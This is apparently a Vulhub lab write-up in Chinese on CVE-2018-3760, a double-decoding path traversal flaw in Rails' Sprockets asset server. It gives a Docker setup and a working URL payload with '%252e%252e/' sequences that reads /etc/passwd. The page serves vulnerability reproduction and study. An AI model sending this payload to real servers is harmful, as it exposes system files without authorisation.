Ruby On Rails 路徑穿越漏洞(CVE-2018-3760)
Path rails/CVE-2018-3760
Ruby On Rails在開發環境下使用Sprockets作為靜態文件服務器,Ruby On Rails是著名Ruby Web開發框架,Sprockets是編譯及分發靜態資源文件的Ruby庫。
Sprockets 3.7.1及之前版本中,存在一處因為二次解碼導致的路徑穿越漏洞,攻擊者可以利用%252e%252e/來跨越到根目錄,讀取或執行目標服務器上任意文件。
參考鏈接:
- https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
- https://seclists.org/oss-sec/2018/q2/210
- https://xz.aliyun.com/t/2542
環境搭建
啟動一個用Ruby On Rails腳手架生成的默認站點:
docker-compose up -d
訪問http://your-ip:3000即可查看到歡迎頁面。
漏洞復現
直接訪問http://your-ip:3000/assets/file:%2f%2f/etc/passwd,將會報錯,因為文件/etc/passwd不在允許的目錄中:

我們通過報錯頁面,可以獲得允許的目錄列表。隨便選擇其中一個目錄,如/usr/src/blog/app/assets/images,然后使用%252e%252e/向上一層跳轉,最后讀取/etc/passwd:
http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd

Vulhub 文檔
推薦文章: